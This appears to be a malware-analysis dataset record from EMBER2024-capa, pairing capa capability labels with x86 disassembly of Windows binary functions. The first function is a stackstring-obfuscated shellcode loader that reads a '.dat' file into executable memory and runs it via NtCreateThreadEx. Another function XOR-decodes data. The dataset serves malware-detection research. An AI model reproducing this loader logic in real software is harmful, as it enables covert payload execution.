joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002460
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
movaps xmm0, xmmword [str.NtAllocateVirtuaNtCreateThreadExbad_allocation]
xor eax, eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov word [ebp - 8], ax
lea eax, [ebp - 0x4c]
push eax
movups xmmword [ebp - 0x4c], xmm0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x74006e
movaps xmm0, xmmword [0x1003e510]
push eax
mov dword [ebp - 0x20], 0x6c0064
mov dword [ebp - 0x1c], 0x2e006c
mov dword [ebp - 0x18], 0x6c0064
mov dword [ebp - 0x14], 0x6c
mov dword [ebp - 0x3c], 0x6d654d6c
mov dword [ebp - 0x38], 0x79726f
movups xmmword [ebp - 0x60], xmm0
mov byte [ebp - 0x50], 0
mov dword [ebp - 0x10], 0x64002e
mov dword [ebp - 0xc], 0x740061
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x24]
push eax
call edi
push eax
call esi
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x268]
push 0x104
push eax
push dword [0x1004d7b0]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push 3
push 0
push 1
push 0xa0000000
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100025f0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
je 0x100025e9
test esi, esi
je 0x100025e9
push 0x40
push 0x3000
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
push 0
lea eax, [ebp - 4]
mov dword [ebp - 0x28], esi
push eax
push 0xffffffffffffffff
call ebx
test eax, eax
jne 0x100025e9
mov eax, dword [ebp - 4]
test eax, eax
je 0x100025e9
push 0
lea ecx, [ebp - 0x2c]
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100025e9
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
mov eax, dword [ebp - 4]
push 0
push 0
push 0
push 0
push 0
push eax
push eax
push 0xffffffffffffffff
push 0
push 0x1fffff
lea eax, [ebp - 0x34]
push eax
call dword [ebp - 0x30]
test eax, eax
jne 0x100025f0
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x100025f0
push eax
call esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002630
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
lea eax, [ebp - 0xd8]
push str.Current_System_Time:__02d:_02d:_02d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [ebp - 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov esp, ebp
pop ebp
ret
Function at 0x10002680
Capabilities:
Print debug messages
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push esi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100026e8
push 0
lea eax, [ebp - 4]
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x100026dd
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.ReadFile_failed.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x404], 0
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100026f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002740
mov edx, dword [ebp + 0xc]
mov ecx, edx
push edi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002720
push 0
lea eax, [ebp - 4]
sub ecx, edi
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000d47d
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor edx, edx
push esi
mov esi, dword [ebp + 0xc]
cmp dword [ebp + 0x10], edx
jbe 0x1000d4a0
movzx eax, byte [esi + edx]
xor eax, ecx
imul ecx, eax, 0x1000193
inc edx
cmp edx, dword [ebp + 0x10]
jb 0x1000d48e
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x1001b92c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.10023888
mov eax, dword [eax + 0x14]
test eax, eax
je 0x1001b96f
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push 2
push ecx
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x1001b96f
sub eax, 1
je 0x1001b96a
sub eax, 1
je 0x1001b966
xor eax, eax
leave
ret
push 3
jmp 0x1001b971
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x1002b150
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1002b18f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002b18f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002b18f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1002b18f
cmp dword [ecx + 0x74], 0xe
jbe 0x1002b18f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10033671
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1003370e
push ebx
push esi
call fcn.1003363a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10031779
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100336bb
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1003370d
push edi
push eax
call fcn.1002e2a0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100336db
call fcn.1002e250
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1003370c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10031779
add esp, 0x20
test eax, eax
jne 0x100336fa
push edi
call fcn.1002e250
jmp 0x10033702
push ebx
call fcn.1002e250
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10033711
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x10033722
pop esi
ret
push ebx
push edi
push esi
call fcn.1003363a
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1002e2a0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1003374a
push ebx
push esi
push edi
call fcn.1001d8f0
add esp, 0xc
push 0
call fcn.1002e250
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10033b19
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003375f

Function at 0x10036020
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1002ca0c
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1003608f
cmp esi, dword [ebp - 4]
je 0x1003608a
cmp dword [ebp + 0xc], 0
je 0x1003608a
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10036067
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.10035b75
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x10036091
xor eax, eax
inc eax
jmp 0x10036091
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x100360fc
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1004c040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1002ca0c
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1002ca0c
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10036173
cmp word [ecx], dx
je 0x10036173
mov eax, dword [0x100440a4]
push edi
dec eax
push eax
push 0x10043f90
call fcn.10036095
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x100361e6
cmp word [eax], dx
je 0x100361e6
mov eax, dword [edi]
test eax, eax
je 0x10036197
cmp word [eax], dx
je 0x10036197
lea eax, [ebp - 0x10]
push eax
call fcn.10035a7b
jmp 0x100361a0
lea eax, [ebp - 0x10]
push eax
call fcn.10035b16
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10036210
mov eax, dword [0x10043f8c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10043c80
call fcn.10036095
add esp, 0xc
test al, al
je 0x10036210
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x100361db
cmp word [eax], di
je 0x100361db
lea eax, [ebp - 0x10]
push eax
call fcn.10035a7b
pop ecx
jmp 0x10036212
lea eax, [ebp - 0x10]
push eax
call fcn.10035b16
jmp 0x100361d8
mov eax, dword [edi]
test eax, eax
je 0x100361fd
cmp word [eax], dx
je 0x100361fd
lea eax, [ebp - 0x10]
push eax
call fcn.10035a30
pop ecx
jmp 0x10036210
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x100362db
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10035f1a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100362db
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x100362db
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x100362db
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10036268
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.10030126
test ebx, ebx
je 0x100362d6
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.10030126
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100362db
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100362db
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1003a001
add esp, 0x10
xor eax, eax
inc eax
jmp 0x100362dd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001c870
leave
ret
Function at 0x1003c060
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1003c08d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1003c08d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4010df
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00415300
push ebx
push edi
xor ebx, ebx
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1003]
mov byte [ebp - 0x1004], bl
push ebx
rep stosd dword es:[edi], eax
push 0x80
push 3
push ebx
push ebx
stosw word es:[edi], ax
push 0x80000000
push dword [ebp + 0xc]
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40112c
xor eax, eax
jmp 0x401190
mov edi, dword [ebp + 0x10]
push esi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x1004]
push ebx
push eax
mov dword [ebp + 0xc], ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0xc]
push ebx
push eax
lea eax, [ebp - 0x1004]
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp + 0xc], ebx
je 0x401183
push dword [ebp + 0xc]
lea eax, [ebp - 0x1004]
push eax
mov eax, dword [edi]
add eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp + 0xc]
add esp, 0xc
add dword [edi], eax
jmp 0x401135
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop esi
pop edi
pop ebx
leave
ret
Function at 0x414f6f
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.00415300
mov ebx, esp
lea eax, [ebp - 0x24]
push 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x414fc8
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 4], eax
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
call fcn.00415023
dec eax
neg eax
sbb eax, eax
and ax, 0x1000
add eax, 0x11000
add eax, edi
cmp esi, eax
jae 0x414fcc
xor eax, eax
jmp 0x41501b
call fcn.00415023
cmp eax, 1
je 0x414ffc
cmp esi, edi
jbe 0x414feb
mov eax, esi
push 0x4000
sub eax, edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 4
push 0x1000
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call fcn.00415023
dec eax
lea ecx, [ebp - 8]
neg eax
sbb eax, eax
push ecx
and eax, 0x103
inc eax
push eax
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401a80
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x406480
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, dword [0x409214]
mov dword [eax], ecx
mov ebx, edx
test ebx, ebx
jle 0x4064a1
mov eax, 0xff
call fcn.00401a80
xor byte [esi], al
inc esi
dec ebx
jne 0x406491
pop esi
pop ebx
ret
Function at 0x404370
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x40439c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x4043c4
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x4043ca
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x404454
jg 0x4043e1
test esi, esi
je 0x404454
test ecx, ecx
jl 0x404437
jg 0x4043eb
test eax, eax
je 0x404437
cmp edi, ecx
jg 0x4043ff
jl 0x4043f5
cmp esi, eax
jae 0x4043ff
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [ebp + 8]
add edx, ecx
sub esi, ecx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x404454
jg 0x40443a
test esi, esi
je 0x404454
jmp 0x40443a
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x404454
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404470
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
test eax, eax
jg 0x40449c
jl 0x404490
test ecx, ecx
jne 0x40449c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x4044b5
push eax
push ecx
push esi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x4044fd
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 0xc], edx
mov eax, dword [eax]
test eax, eax
je 0x404503
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push dword [ebp - 4]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp - 4]
jmp 0x404503
lea eax, [ebx + 0x2c]
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x4c], 0
je 0x404576
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x40452c
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x404564
nop dword [eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x404576
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x404540
test edi, edi
je 0x404576
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4048f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x404920
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004074fc
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40495c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x40495c
lea ecx, [edi - 1]
mov eax, ebx
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
pop edi
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004074fc
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x404a33
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x404984
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x404990
movsx eax, bl
jmp 0x4049c8
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x4049f2
sub eax, 1
je 0x4049f2
sub eax, 2
jne 0x404a33
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmove ebx, ecx
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004074fc
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x404a10
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x404a33
lea ecx, [ebp - 0x25]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [ebp - 0x30], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004074fc
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004074fc
mov esp, ebp
pop ebp
ret 4